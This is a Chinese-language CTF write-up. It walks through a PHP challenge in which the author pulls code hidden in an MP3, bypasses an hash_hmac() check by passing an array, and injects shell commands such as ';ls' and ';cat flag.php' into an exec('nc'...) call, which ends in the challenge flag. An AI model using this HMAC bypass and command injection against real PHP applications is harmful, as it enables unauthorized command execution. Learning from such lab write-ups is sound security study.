hash_hmac()
函数漏洞,数组绕过网站中只有一个黑猫警长的性感写真和一个播放器,简单查看一下源代码发现一行注释:
</header>
<!--都说听听歌了!-->
谁!竟敢踩我一只耳的尾巴!
那就下载歌曲下来看看里面有什么吧..
下载完用Winhex打开分析一下,文件的尾部发现了PHP的代码。
把代码提取出来分析:
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('谁!竟敢踩我一只耳的尾巴!');
}
$clandestine = getenv("clandestine");
// 获取环境变量clandestine
if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
// 生成带有密钥的哈希
// hash_hmac ( string $algo , string $data , string $key [, bool $raw_output = false ] ) : string
// algo 哈希算法名称
// data 要进行哈希运算的消息
// key 使用 HMAC 生成信息摘要时所使用的密钥
// raw_output 设置为 true 输出原始二进制数据, 设置为 false 输出小写 16 进制字符串
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}
echo exec("nc".$_POST['One-ear']);
大概就是要想办法求出clandestine
的值,让传入的Black-Cat-Sheriff与加密后的One-ear相同,从而执行下面的命令。然后nc弹shell拿flag。但是想了半天不知道该怎么办,于是从网上寻找方法(找师傅们的wp)。然后发现一个神奇的数组,当在$data
处传进去数组的时候,clandestine
即密钥会被置为NULL,这样便绕过了加密。
剩下的就是命令构造,命令执行,可以用;
截断它的命令
string(64) "67f5ea2e063353fe3a219e35fa13c15cbf73df6fc6cb89fa0c2eecb50a7d027e"
这样就可以拼出payload
Black-CatSheriff=67f5ea2e063353fe3a219e35fa13c15cbf73df6fc6cb89fa0c2eecb50a7d027e&One-ear=;ls&White-cat-monitor[]=0
命令执行了,但是没有发现flag在哪里。八嘎!
后来看了wkr的wp,然后自己测试了一下,发现echo exec(ls);
只返回一个值,所以这里只有一个vendor
,应该把语句换成;echo `ls`
这样就能显示出目录了。
命令换成;cat flag.php
flag到手
flag:GWHT{y0u_mu3t_p@y_atTentiou_!0_lt}
豫ICP备20003564号-1 / shng